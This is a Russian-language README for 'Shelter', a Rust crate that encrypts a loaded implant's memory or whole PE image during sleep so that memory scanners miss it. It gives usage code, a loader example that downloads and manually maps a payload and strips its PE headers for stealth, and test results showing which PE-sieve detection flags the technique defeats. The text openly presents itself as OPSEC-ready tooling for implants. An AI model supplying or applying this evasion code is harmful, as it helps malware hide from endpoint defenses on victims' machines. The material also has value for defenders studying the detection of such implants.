
Обфускация сна на основе ROP для обхода сканеров памяти
Shelter — это полностью вооруженная техника обфускации сна, которая позволяет полностью зашифровать вашу полезную нагрузку в памяти с широким использованием ROP.
Этот крейт обладает следующими характеристиками:
Импортируйте этот крейт в свой проект, добавив следующую строку в ваш cargo.toml:
[dependencies]
shelter = "=0.1.2"
Затем скомпилируйте проект в режиме --release.
Основная функциональность этого крейта обернута в три функции:
fluctuate() позволяет зашифровать либо текущую область памяти, либо весь PE. Эта функция требует наличия байт MZ PE для динамического получения его базового адреса.fluctuate_from_address() полностью шифрует PE. Эта функция принимает на вход базовый адрес PE.fluctuate_from_pattern() также полностью шифрует PE. Эта функция принимает на вход пользовательский набор из двух байт для определения базового адреса PE. Эти пользовательские магические байты заменяют классический шаблон MZ.Когда шифруется весь PE, исходные защиты памяти секций сохраняются в куче для последующего восстановления.
Shelter использует NtWaitForSingleObject для сна. В дополнение к указанию количества секунд для сна, вы также можете передать дескриптор события и сигнализировать его в любое время, чтобы вернуться до истечения тайм-аута (например, используя SetEvent). Учтите, что если вся ваша полезная нагрузка зашифрована (в этом, я полагаю, и заключается суть), вам понадобится альтернативный способ сигнализировать событие, если вы уснули на неопределенный срок.
Функция ожидает следующие параметры:
true требует наличия байт MZ в памяти.None, тайм-аут будет бесконечным, что означает, что выполнение не вернется, пока не будет сигнализировано событие, переданное в NtWaitForSingleObject.None. Программа зависнет, если вы установите этот параметр и тайм-аут оба в None.let time_to_sleep = Some(10); // Сон на 10 секунд
let _ = shelter::fluctuate(false, time_to_sleep, None); // Шифровать только текущую область памяти
let time_to_sleep = Some(10); // Сон на 10 секунд
let _ = shelter::fluctuate(true, time_to_sleep, None); // Шифровать весь PE
pub type CreateEventW = unsafe extern "system" fn (*const SECURITY_ATTRIBUTES, i32, i32, *const u16) -> HANDLE;
let k32 = dinvoke_rs::dinvoke::get_module_base_address("kernel32.dll");
let create_event: CreateEventW;
let event_handle: Option<HANDLE>;
dinvoke_rs::dinvoke::dynamic_invoke!(k32,"CreateEventW",create_event,event_handle,ptr::null_mut(),0,0,ptr::null());
let time_to_sleep = None; // Сон на неопределенный срок
let _ = shelter::fluctuate(true, time_to_sleep, event_handle); // Шифровать весь PE, пока не будет сигнализировано событие
Функция ожидает следующие параметры:
None, тайм-аут будет бесконечным, что означает, что выполнение не вернется, пока не будет сигнализировано событие, переданное в NtWaitForSingleObject.None. Программа зависнет, если вы установите этот параметр и тайм-аут оба в None.Одним из способов использования этой функции является ручное отображение нашей полезной нагрузки с помощью Dinvoke_rs. Таким образом, загрузчик может отправить полезной нагрузке ее собственный базовый адрес, чтобы затем полезная нагрузка могла использовать его для обфускации себя, когда это необходимо. Таким образом, загрузчик может безопасно удалить заголовки PE для достижения определенного уровня скрытности.
Пример загрузчика:
let payload: Vec<u8> = your_download_function();
let mut m = dinvoke_rs::manualmap::manually_map_module(payload.as_ptr(), true).unwrap();
println!("Библиотека загружена по базовому адресу 0x{:x}", m.1);
let dll_exported_function = dinvoke::get_function_address(m.1, "run");
let run: unsafe extern "Rust" fn (usize) = std::mem::transmute(dll_exported_function);
run(m.1 as usize);
Пример полезной нагрузки:
#[no_mangle]
fn run(base_address: usize)
{
...
let time_to_sleep = Some(10); // Сон на 10 секунд
let _ = shelter::fluctuate_from_address(time_to_sleep, None, base_address); // Шифровать весь PE от этого конкретного базового адреса
...
}
Функция ожидает следующие параметры:
None, тайм-аут будет бесконечным, что означает, что выполнение не вернется, пока не будет сигнализировано событие, переданное в NtWaitForSingleObject.None. Программа зависнет, если вы установите этот параметр и тайм-аут оба в None.[u8;2], содержащий пользовательские магические байты для поиска с целью получения базового адреса PE.Смысл создания этой функции в том, чтобы позволить загрузчику удалять заголовок PE и другие сигнатуры, включая классические байты MZ. Таким образом, эти байты могут быть заменены пользовательским шаблоном, который Shelter будет искать для получения базового адреса PE.
let time_to_sleep = Some(10); // Сон на 10 секунд
let pattern = [0x29,0x07];
let _ = shelter::fluctuate_from_pattern(time_to_sleep, None, pattern); // Шифровать весь PE, используя пользовательский шаблон в качестве магических байт
Для тестирования реализации техники в основном использовался PE-sieve. По умолчанию PE-sieve ищет импланты в исполняемых областях памяти, что означает, что даже обфускация исключительно текущей области памяти (.text) достаточна для предотвращения обнаружения:

Обратите внимание, что, поскольку мы используем Unwinder, стек вызовов подделывается, и поэтому флаг /threads также не обнаруживает отображенную библиотеку.
Теперь PE-sieve позволяет также проверять неисполняемые области памяти с помощью флага /data. Согласно официальной документации инструмента, этот флаг, установленный в always, может «выдать много шума/ложных срабатываний». Несмотря на это, мы решили использовать его для проверки эффективности возможности шифрования всего PE, поскольку он позволяет скрыть области данных PE, которые могут содержать индикаторы присутствия импланта в памяти.

Как видно, на первом рисунке показано, что обфускация только секции .text недостаточна, когда PE-sieve сканирует неисполняемые страницы памяти, поскольку некоторые области могут содержать строки, раскрывающие наличие DLL (MZ, DOS-заголовок, имена секций и т.д.). С другой стороны, второе изображение показывает, как эта проблема может быть решена с помощью механизма обфускации всего PE от Shelter. В любом случае, как указано в вики PE-sieve, эта опция приводит к огромному количеству ложных срабатываний, поскольку само присутствие в куче строк типа ".data" или "rdata" уже предупреждает о возможном внедренном PE, хотя он не может выгрузить что-либо из памяти (так как в этой области нет реального содержимого PE).
Наконец, в PE-sieve есть относительно новая опция для обнаружения присутствия обфусцированных имплантов путем поиска областей памяти с высокой энтропией. Эта опция (/obfusc) в сочетании с /data способна обнаружить присутствие полезной нагрузки из-за высокой энтропии области памяти, содержащей ее (хотя она не может извлечь PE, так как он полностью зашифрован):
Хотя Shelter готов к использованию и разработан с учетом OPSEC, все еще есть некоторые улучшения, которые будут добавлены в ближайшем будущем:
BCryptEncrypt/BCryptDecrypt соответствующей функцией Nt.